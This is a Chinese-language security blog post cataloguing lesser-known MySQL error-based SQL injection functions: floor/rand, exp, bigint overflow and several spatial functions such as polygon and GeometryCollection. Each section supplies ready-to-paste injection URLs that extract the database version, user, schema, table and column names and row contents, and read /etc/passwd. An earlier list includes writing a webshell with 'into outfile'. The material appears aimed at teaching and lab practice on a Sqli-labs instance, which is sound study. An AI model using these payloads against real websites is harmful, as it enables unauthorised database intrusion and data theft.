SQL注入之报错注入另类函数盘点

admin 2024年6月28日09:05:14评论17 views字数 18900阅读63分0秒阅读模式

文章前言

在谈到SQL注入的报错注入时,大家可能都会联想到所谓的updatexml报错注入、Extractvalue注入,然后再深入去询问是否还有其它的可以借助用来进行报错注入的函数的时候要么就是没得然后,要么就是知道函数但是不知道原理或者SQL语句的构造,这个在面试中尤为常见,而在我们平时的SQL注入绕WAF的时候也是会被自己反call到难道就这么几个函数了?没法绕了?本篇文章将对报错注入中常见的SQL注入函数以及其相关原理和注入语句的构造进行扩展性详细介绍,希望对各位读者有帮助~

注入基础

这里为后面的注入语句的构造做一个基础的铺垫:

字符串截取函数

left(str,index)              //从左边第index开始截取right(str,index)             //从右边第index开始截取substring(str,index)         //从左边index开始截取substr(str,index,len)         //截取str,index开始,截取len的长度mid(str,index,ken)             //截取str 从index开始,截取len的长度

字符串比较函数

find_in_set(str,strlist)     //如果相同则返回1不同则返回0strcmp(expr1,expr2)         //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1

字符串连接函数

concat(str1,str2)                     //将字符串首尾相连concat_ws(separator,str1,str2)         //将字符串用指定连接符连接group_concat()                        //将多行数据按照指定的顺序合并成一个字符串

绕注入检测函数

instr(str1,substr)                                 //从子字符串中返回子串第一次出现的位置lpad(str,len,padstr) rpad(str,len,padstr)         //在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果

编码操作函数

hex()                                 //HEX编码ascii()                                //ASCII编码

文件操作函数

select ... into outfile('/var/www/html/shell.php')      //写shell文件:写权限、单引号、物理路径select ... load_file('/etc/passwd')                        //读文件:读权限、物理路径select ... into dumpfile('/etc/passwd')                    //读文件:读权限、物理路径

报错注入

报错注入(Error-Based SQL Injection)是一种利用SQL语句执行过程中产生的错误消息来获取数据库信息的攻击技术,它利用了数据库管理系统在执行错误的SQL查询时返回的详细错误信息,这些信息可能包含敏感数据或数据库结构的关键信息,报错注入通常是通过在输入参数中插入恶意SQL代码来实现的,例如:在Web应用程序的输入字段中注入特定的SQL语句片段

注入函数

Floor报错注入

rand()函数简介

RAND()函数用于生成一个介于0(包含)和1(不包含)之间的随机浮点数值,通常用于在SQL查询中获取随机行或生成随机化数据,该函数特别适用于需要随机选择或随机化查询结果的场景,例如:在数据分析中进行数据抽样或需要随机行为的应用程序中,使用RAND()函数的SQL查询语法非常简单:

LECT RAND();

SQL注入之报错注入另类函数盘点

rand(x):以x为随机数发生器种子值来生成固定随机数,例如

SQL注入之报错注入另类函数盘点

rand()*x:生成0~x之间的伪随机数,例如:

SQL注入之报错注入另类函数盘点

Floor()函数简介

FLOOR()函数用于返回小于或等于指定数值的最大整数值,这个函数通常用于将浮点数值向下取整为最接近的整数,我们可以使用FLOOR(x)函数返回小于x的最大整数值,例如:

SQL注入之报错注入另类函数盘点

类似的函数还有:

  • round(x) 是四舍五入

  • ceiling(x)是取大于等于x的整数

构造随机整数值

通过上面的了解可以发现rand()函数可以生成一个指定范围内的伪随机数(小数),而floor可以取整,那么如果要生成一个整数呢?可以结合将Floor()与rand()函数结合一下,例如:
可变的随机整数:

SQL注入之报错注入另类函数盘点

不变的整数:

SQL注入之报错注入另类函数盘点

介于min~max之间的随机整数

round(rand()*(max-min)+min)

SQL注入之报错注入另类函数盘点

Floor报错注入原理

在SQL语句中group by与rand一起使用时,如果临时表中没有该主键,那么此时的rand会再计算一次,率先将第二次的计算结果插入到临时表,从而导致主键重复报错,而Floor报错也正是因为这个特性导致的

Floor报错注入流程

语句公式:

?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,测试语句,0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 

下面的语句不可以直接使用,首先需要刻画后台SQL语句的”画像”,之后确定如何构造,例如:使用”/?id=1 and 语句”还是”/?id=1’ and 语句”等其他类型的语句,这里就不贴图了,贴完图成长篇大论了…..: 1、获取数据库版本信息

http://www.example.com/?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)   --+说明:floor(rand(0)*2)x的x是为floor(rand(0)*2)添加了一个别名,就是x就等于floor(rand(0)*2)

2、获取用户名相关信息

http://www.example.com/?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

3、获取数据库名的信息

http://www.example.com/?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

4、获取数据库的表信息

http://www.example.com/?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

5、获取指定表的字段名

http://www.example.com/?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x666c6167 LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+在测试过程中,此处的table_name需要换成查询得到的表名的十六进制数据。

6、获取指定字段的内容

http://http://www.example.com/?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,flag,0x7e) FROM flag limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+在测试过程中,此处的表名flag和字段名flag需要替换成查询得到的表名和字段名称。

简易实例:

http://192.168.204.160:83/Less-5?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,email_id,0x7e) FROM emails limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

SQL注入之报错注入另类函数盘点

EXP报错注入

EXP函数简介

EXP()函数用于返回自然对数的指数,换句话说EXP()函数返回以e(自然对数的底数)为底数的指数值,EXP()函数的语法如下,其中number是要计算指数的数值参数:

SELECT EXP(number);

用法示例:

SQL注入之报错注入另类函数盘点

EXP报错注入原理

EXP报错注入是一种通过利用溢出错误来注出数据的SQL注入方式,当传递一个大于709的值给exp()函数时,函数会发生一个溢出错误,例如:

SQL注入之报错注入另类函数盘点

EXP报错注入流程

1、获取数据库版本信息

http://www.example.com/?id=1' and exp(~(select * from (select version() ) a) ) --+

2、获取用户名相关信息

http://www.example.com/?id=1' and exp(~(select * from (select user() ) a) ) --+

3、获取数据库名的信息

http://www.example.com/?id=1' and exp(~(select * from (select database() ) a) ) --+

4、获取数据库的表信息

查询第一个表名信息:http://www.example.com/?id=1' and exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)) --+查询第二个表名信息:http://www.example.com/?id=1' and exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 1,1)x)) --+其余的依次变量limit x,y中的x的值来获取表名信息即可~

5、获取指定表的字段名

获取第一个字段名:http://www.example.com/?id=1' and exp(~(select * from(select column_name from information_schema.columns where table_name='emails' limit 0,1)x)) --+获取第二个字段名:http://www.example.com/?id=1' and exp(~(select * from(select column_name from information_schema.columns where table_name='emails' limit 1,1)x)) --+

6、获取指定字段的内容

查询第一个字段的内容:http://www.example.com/?id=1' and exp(~ (select*from(select concat_ws(':',id, email_id) from emails limit 0,1)x)) --+查询第二个字段的内容:http://www.example.com/?id=1' and exp(~ (select*from(select concat_ws(':',id, email_id) from emails limit 1,1)x)) --+

7、从数据库到表的结构

http://www.example.com/?id=1' and exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) --+

8、读取目标系统的文件

http://www.example.com/?id=1' and exp(~(select * from(select load_file('/etc/passwd'))a)) --+

EXP报错注入简易示例:

http://192.168.204.160:83/Less-5/?id=1' and exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) --+

SQL注入之报错注入另类函数盘点

备注:EXP报错注入的目标数据库版本需要在5.5及5.5以上~

Bigint报错注入

Bigint基本介绍

BIGINT是一种数据类型,其长度为8字节,也就是说长度为64比特,这种数据类型最大的有符号值,用二进制、十六进制和十进制的表示形式分别为”0b0111111111111111111111111111111111111111111111111111111111111111”、”0x7fffffffffffffff”和”9223372036854775807”,适合于需要存储超过普通整数范围的数据,例如:大量的计数器、主键标识等

Bigint报错注入原理

当我们使用BIGINT这个值进行某些数值运算的时候就会引起”BIGINT value is out of range”错误,例如:加法运算

SQL注入之报错注入另类函数盘点

为了规避出现上面这样的错误,我们需将其转换为无符号整数即可,对于无符号整数来说BIGINT可以存放的最大值用二进制、十六进制和十进制表示的话,分别为”0b1111111111111111111111111111111111111111111111111111111111111111”、”0xFFFFFFFFFFFFFFFF”和”18446744073709551615”,同样的如果对这个值进行数值表达式运算,例如:加法或减法运算,同样也会导致”BIGINT value is out of range”错误

# In decimalmysql> select 18446744073709551615+1;ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'# In binarymysql> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'# In hexmysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'

如果我们对数值0逐位取反,此时会得到一个无符号的最大BIGINT值

SQL注入之报错注入另类函数盘点

所以如果我们对~0进行加减运算的话也会导致BIGINT溢出错误:

SQL注入之报错注入另类函数盘点

我们可以利用这里的子查询引起BITINT溢出,从而设法提取数据,如果一个查询成功返回,其返回值为0,所以对其进行逻辑非的话就会变成1,举例来说:如果我们对类似(select*from(select user())x)这样的查询进行逻辑非的话就会有:

SQL注入之报错注入另类函数盘点

只要我们能够组合好逐位取反和逻辑取反运算,我们就能利用溢出错误来成功的注入查询,例如:

SQL注入之报错注入另类函数盘点

在这里我们先不使用加法,因为"+"通过网页浏览器进行解析的时候会被转换为空白符(不过也可以使用%2b来表示"+"),当然我们也可以使用减法,所以说同一种注入攻击可以有完全不同的变种,最终的查询语句如下所示:

select !(select * from (select user())x) -~0;select (select(!x-~0) from (select(select user())x)a);select (select !x-~0 from (select(select user())x)a);

SQL注入之报错注入另类函数盘点

利用这种基于BIGINT溢出错误的注入手法,我们可以几乎可以使用MySQL中所有的数学函数,因为它们也可以进行取反,具体用法如下所示:

select !atan((select * from (select user())x))-~0;select !ceil((select * from (select user())x))-~0;select !floor((select * from (select user())x))-~0;

SQL注入之报错注入另类函数盘点

类似的还有:

  • IN

  • TAN

  • CEIL

  • HEX

  • SIGN

  • SQRT

  • RAND

  • ROUND

  • FLOOR

  • CEILING

  • TRUNCATE

Bigint报错注入流程

1、获取数据库版本信息

http://www.example.com/?id=1' and !(select * from(select version())x)-~0 --+

2、获取用户名相关信息

http://www.example.com/?id=1' and !(select * from(select user())x)-~0 --+

3、获取数据库名的信息

http://www.example.com/?id=1' and !(select * from(select database())x)-~0 --+

4、获取数据库的表信息

查询第一个表名信息:http://www.example.com/?id=1' and !(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0 --+
查询第二个表名信息:http://www.example.com/?id=1' and !(select * from(select table_name from information_schema.tables where table_schema=database() limit 1,1)x)-~0 --+其余的依次变量limit x,y中的x的值来获取表名信息即可~

5、获取指定表的字段名

获取第一个字段名:http://www.example.com/?id=1' and !(select * from(select column_name from information_schema.columns where table_name='emails' limit 0,1)x)-~0 --+
获取第二个字段名:http://www.example.com/?id=1' and !(select * from(select column_name from information_schema.columns where table_name='emails' limit 1,1)x)-~0 --+

6、获取指定字段的内容

查询第一个字段的内容:http://www.example.com/?id=1' and !(select*from(select concat_ws(':',id, email_id) from emails limit 0,1)x)-~0 --+
查询第二个字段的内容:http://www.example.com/?id=1' and !(select*from(select concat_ws(':',id, email_id) from emails limit 1,1)x)-~0 --+

7、从数据库到表的结构

http://www.example.com/?id=1' and !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 --+

8、读取目标系统的文件

http://www.example.com/?id=1' and !(select * from(select load_file('/etc/passwd'))a)-~0 --+

注入示例如下所示:

http://192.168.204.160:83/Less-5/?id=1' and !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 --+

SQL注入之报错注入另类函数盘点

备注:Bigint报错注入的目标数据库版本需要在5.5及5.5以上~

polygon报错注入

函数介绍

POLYGON是一种地理空间数据类型,用于表示平面中的多边形形状,它代表多边几何对象的平面Surface,由单个外部边界以及0或多个内部边界定义,其中每个内部边界定义为Polygon中的1个孔

polygon报错注入原理

POLYGON报错注入时构造的payload语句属于嵌套模式,不符合函数的匹配就会导致报错

SQL注入之报错注入另类函数盘点

polygon报错注入流程

1、获取数据库版本信息

http://www.example.com/?id=1' and polygon((select * from (select * from(select version())a)b)) --+

2、获取用户名相关信息

http://www.example.com/?id=1' and polygon((select * from (select * from(select user())a)b)) --+

3、获取数据库名的信息

http://www.example.com/?id=1' and polygon((select * from (select * from(select database())a)b)) --+

4、获取数据库的表信息

查询第一个表名信息:http://www.example.com/?id=1' and polygon((select * from (select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)) --+
查询第二个表名信息:http://www.example.com/?id=1' and polygon((select * from (select * from(select table_name from information_schema.tables where table_schema=database() limit 1,1)a)b)) --+
其余的依次变量limit x,y中的x的值来获取表名信息即可~

5、获取指定表的字段名

获取第一个字段名:http://www.example.com/?id=1' and polygon((select * from (select * from(select column_name from information_schema.columns where table_name='emails' limit 0,1)a)b)) --+
获取第二个字段名:http://www.example.com/?id=1' and polygon((select * from (select * from(select column_name from information_schema.columns where table_name='emails' limit 1,1)a)b)) --+

6、获取指定字段的内容

查询第一个字段的内容:http://www.example.com/?id=1' and polygon((select * from (select*from(select concat_ws(':',id, email_id) from emails limit 0,1)x)b)) --+
查询第二个字段的内容:http://www.example.com/?id=1' and polygon((select * from (select*from(select concat_ws(':',id, email_id) from emails limit 1,1)x)b)) --+

7、读取目标系统的文件

http://www.example.com/?id=1' and polygon((select * from(select * from(select load_file('/etc/passwd'))a)b)) --+

简易注入示例:

SQL注入之报错注入另类函数盘点

linestring报错注入

linestring函数介绍

Linestring函数是在空间数据处理中常用的函数之一,用于创建表示直线段或折线的几何对象,在不同的空间数据库中其语法和使用方法可能有所不同,一般而言,Linestring函数的使用语法如下:

nestring(Point1, Point2, ..., PointN)

其中Point1, Point2, …, PointN是连接成线的点坐标

linestring报错原理

通过传入非预期的入参数量和类型无法解析处理后导致报错

SQL注入之报错注入另类函数盘点

linestring注入流程

1、获取数据库版本信息

http://www.example.com/?id=1' and linestring((select * from (select * from(select version())a)b)) --+

2、获取用户名相关信息

http://www.example.com/?id=1' and linestring((select * from (select * from(select user())a)b)) --+

3、获取数据库名的信息

http://www.example.com/?id=1' and linestring((select * from (select * from(select database())a)b)) --+

4、获取数据库的表信息

查询第一个表名信息:http://www.example.com/?id=1' and linestring((select * from (select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)) --+查询第二个表名信息:http://www.example.com/?id=1' and linestring((select * from (select * from(select table_name from information_schema.tables where table_schema=database() limit 1,1)a)b)) --+其余的依次变量limit x,y中的x的值来获取表名信息即可~

5、获取指定表的字段名

获取第一个字段名:http://www.example.com/?id=1' and linestring((select * from (select * from(select column_name from information_schema.columns where table_name='emails' limit 0,1)a)b)) --+获取第二个字段名:http://www.example.com/?id=1' and linestring((select * from (select * from(select column_name from information_schema.columns where table_name='emails' limit 1,1)a)b)) --+

6、获取指定字段的内容

查询第一个字段的内容:http://www.example.com/?id=1' and linestring((select * from (select*from(select concat_ws(':',id, email_id) from emails limit 0,1)x)b)) --+查询第二个字段的内容:http://www.example.com/?id=1' and linestring((select * from (select*from(select concat_ws(':',id, email_id) from emails limit 1,1)x)b)) --+

7、读取目标系统的文件

http://www.example.com/?id=1' and linestring((select * from(select * from(select load_file('/etc/passwd'))a)b)) --+

简易注入示例:

http://192.168.204.160:83/Less-5/?id=1' and linestring((select * from (select*from(select concat_ws(':',id, email_id) from emails limit 0,1)x)b)) --+

SQL注入之报错注入另类函数盘点

multipoint报错注入

multipoint函数介绍

Multipoint函数是空间数据处理中的另一个常用函数,用于创建表示多个点集合的几何对象,它与Linestring函数类似,不同空间数据库中的语法和使用方法可能有所不同,一般而言,Multipoint函数的使用语法如下

Multipoint(Point1, Point2, ..., PointN)

其中Point1, Point2, …, PointN是多个点的坐标

multipoint报错原理

MULTILINESTRING函数为了进行报错显示传入了字符串数据参数,从而导致参数不合法的报错

SQL注入之报错注入另类函数盘点

multipoint注入流程

1、获取数据库版本信息

http://www.example.com/?id=1' and multipoint((select * from (select * from(select version())a)b)) --+

2、获取用户名相关信息

http://www.example.com/?id=1' and multipoint((select * from (select * from(select user())a)b)) --+

3、获取数据库名的信息

http://www.example.com/?id=1' and multipoint((select * from (select * from(select database())a)b)) --+

4、获取数据库的表信息

查询第一个表名信息:http://www.example.com/?id=1' and multipoint((select * from (select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)) --+查询第二个表名信息:http://www.example.com/?id=1' and multipoint((select * from (select * from(select table_name from information_schema.tables where table_schema=database() limit 1,1)a)b)) --+其余的依次变量limit x,y中的x的值来获取表名信息即可~

6、获取指定表的字段名

获取第一个字段名:http://www.example.com/?id=1' and multipoint((select * from (select * from(select column_name from information_schema.columns where table_name='emails' limit 0,1)a)b)) --+获取第二个字段名:http://www.example.com/?id=1' and multipoint((select * from (select * from(select column_name from information_schema.columns where table_name='emails' limit 1,1)a)b)) --+

7、获取指定字段的内容

查询第一个字段的内容:http://www.example.com/?id=1' and multipoint((select * from (select*from(select concat_ws(':',id, email_id) from emails limit 0,1)x)b)) --+查询第二个字段的内容:http://www.example.com/?id=1' and multipoint((select * from (select*from(select concat_ws(':',id, email_id) from emails limit 1,1)x)b)) --+

8、读取目标系统的文件

http://www.example.com/?id=1' and multipoint((select * from(select * from(select load_file('/etc/passwd'))a)b)) --+

multipoint报错注入案例:

http://192.168.204.160:83/Less-5/?id=1' and multipoint((select * from (select * from(select column_name from information_schema.columns where table_name='emails' limit 0,1)a)b)) --+

SQL注入之报错注入另类函数盘点

multilinestring报错注入

multilinestring基本介绍

Multilinestring函数是在空间数据处理中用于创建多个线段的几何对象的函数,它与Linestring函数不同之处在于可以表示多条线段而不仅限于一条线段,通用的Multilinestring函数的使用语法如下所示:

Multilinestring(Line1, Line2, ..., LineN)

其中Line1, Line2, …, LineN是多条线段的定义

multilinestring报错原理

multilinestring为了显错传入字符串,所以报错

SQL注入之报错注入另类函数盘点

multilinestring报错注入流程

1、获取数据库版本信息

http://www.example.com/?id=1' and multilinestring((select * from (select * from(select version())a)b)) --+

2、获取用户名相关信息

http://www.example.com/?id=1' and  multilinestring((select * from (select * from(select user())a)b)) --+

3、获取数据库名的信息

http://www.example.com/?id=1' and  multilinestring((select * from (select * from(select database())a)b)) --+

4、获取数据库的表信息

查询第一个表名信息:http://www.example.com/?id=1' and  multilinestring((select * from (select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)) --+查询第二个表名信息:http://www.example.com/?id=1' and  multilinestring((select * from (select * from(select table_name from information_schema.tables where table_schema=database() limit 1,1)a)b)) --+其余的依次变量limit x,y中的x的值来获取表名信息即可~

5、获取指定表的字段名

获取第一个字段名:http://www.example.com/?id=1' and  multilinestring((select * from (select * from(select column_name from information_schema.columns where table_name='emails' limit 0,1)a)b)) --+获取第二个字段名:http://www.example.com/?id=1' and multilinestring((select * from (select * from(select column_name from information_schema.columns where table_name='emails' limit 1,1)a)b)) --+

6、获取指定字段的内容

查询第一个字段的内容:http://www.example.com/?id=1' and multilinestring((select * from (select*from(select concat_ws(':',id, email_id) from emails limit 0,1)x)b)) --+查询第二个字段的内容:http://www.example.com/?id=1' and  multilinestring((select * from (select*from(select concat_ws(':',id, email_id) from emails limit 1,1)x)b)) --+

7、读取目标系统的文件

http://www.example.com/?id=1' and multilinestring((select * from(select * from(select load_file('/etc/passwd'))a)b)) --+

multilinestring注入案例

http://192.168.204.160:83/Less-5/?id=1' and multilinestring((select * from (select * from(select table_name from information_schema.tables where table_schema=database() limit 1,1)a)b)) --+

SQL注入之报错注入另类函数盘点

GeometryCollection报错注入

GeometryCollection函数介绍

GeometryCollection函数在空间数据处理中用于创建包含多种几何对象的集合,它是一种灵活的数据类型,可以同时包含点、线、多边形等多种几何形状,通用的GeometryCollection函数的使用语法如下:

GeometryCollection(Geom1, Geom2, ..., GeomN)

其中Geom1, Geom2, …, GeomN 是多种几何对象的定义,可以是点、线、多边形等

GeometryCollection报错原理

传入字符串参数之后MYSQL无法画出图形,从而引发报错

SQL注入之报错注入另类函数盘点

GeometryCollection注入流程

1、获取数据库版本信息

http://www.example.com/?id=1' and GeometryCollection((select * from (select * from(select version())a)b)) --+

2、获取用户名相关信息

http://www.example.com/?id=1' and GeometryCollection((select * from (select * from(select user())a)b)) --+

3、获取数据库名的信息

http://www.example.com/?id=1' and GeometryCollection((select * from (select * from(select database())a)b)) --+

4、获取数据库的表信息

查询第一个表名信息:http://www.example.com/?id=1' and  GeometryCollection((select * from (select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)) --+查询第二个表名信息:http://www.example.com/?id=1' and  GeometryCollection((select * from (select * from(select table_name from information_schema.tables where table_schema=database() limit 1,1)a)b)) --+其余的依次变量limit x,y中的x的值来获取表名信息即可~

5、获取指定表的字段名

获取第一个字段名:http://www.example.com/?id=1' and  GeometryCollection((select * from (select * from(select column_name from information_schema.columns where table_name='emails' limit 0,1)a)b)) --+获取第二个字段名:http://www.example.com/?id=1' and  GeometryCollection((select * from (select * from(select column_name from information_schema.columns where table_name='emails' limit 1,1)a)b)) --+

6、获取指定字段的内容

查询第一个字段的内容:http://www.example.com/?id=1' and GeometryCollection((select * from (select*from(select concat_ws(':',id, email_id) from emails limit 0,1)x)b)) --+查询第二个字段的内容:http://www.example.com/?id=1' and  GeometryCollection((select * from (select*from(select concat_ws(':',id, email_id) from emails limit 1,1)x)b)) --+

7、读取目标系统的文件

http://www.example.com/?id=1' and GeometryCollection((select * from(select * from(select load_file('/etc/passwd'))a)b)) --+

GeometryCollection注入简易实例:

http://192.168.204.160:83/Less-5/?id=1' and GeometryCollection((select * from(select * from(select load_file('/etc/passwd'))a)b)) --+

SQL注入之报错注入另类函数盘点

文末小结

本篇文章我们对除去updatexml报错注入、Extractvalue报错注入之外的其他可用的报错注入函数进行了介绍,包括报错注入的原理、注入语句的构造,但是对于具体的注入环境需要对上面的SQL注入语句进行二次更改构造,不可死搬硬套希望对各位有帮助

原文始发于微信公众号(七芒星实验室):SQL注入之报错注入另类函数盘点

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月28日09:05:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入之报错注入另类函数盘点https://cn-sec.com/archives/2894237.html

发表评论

匿名网友 填写信息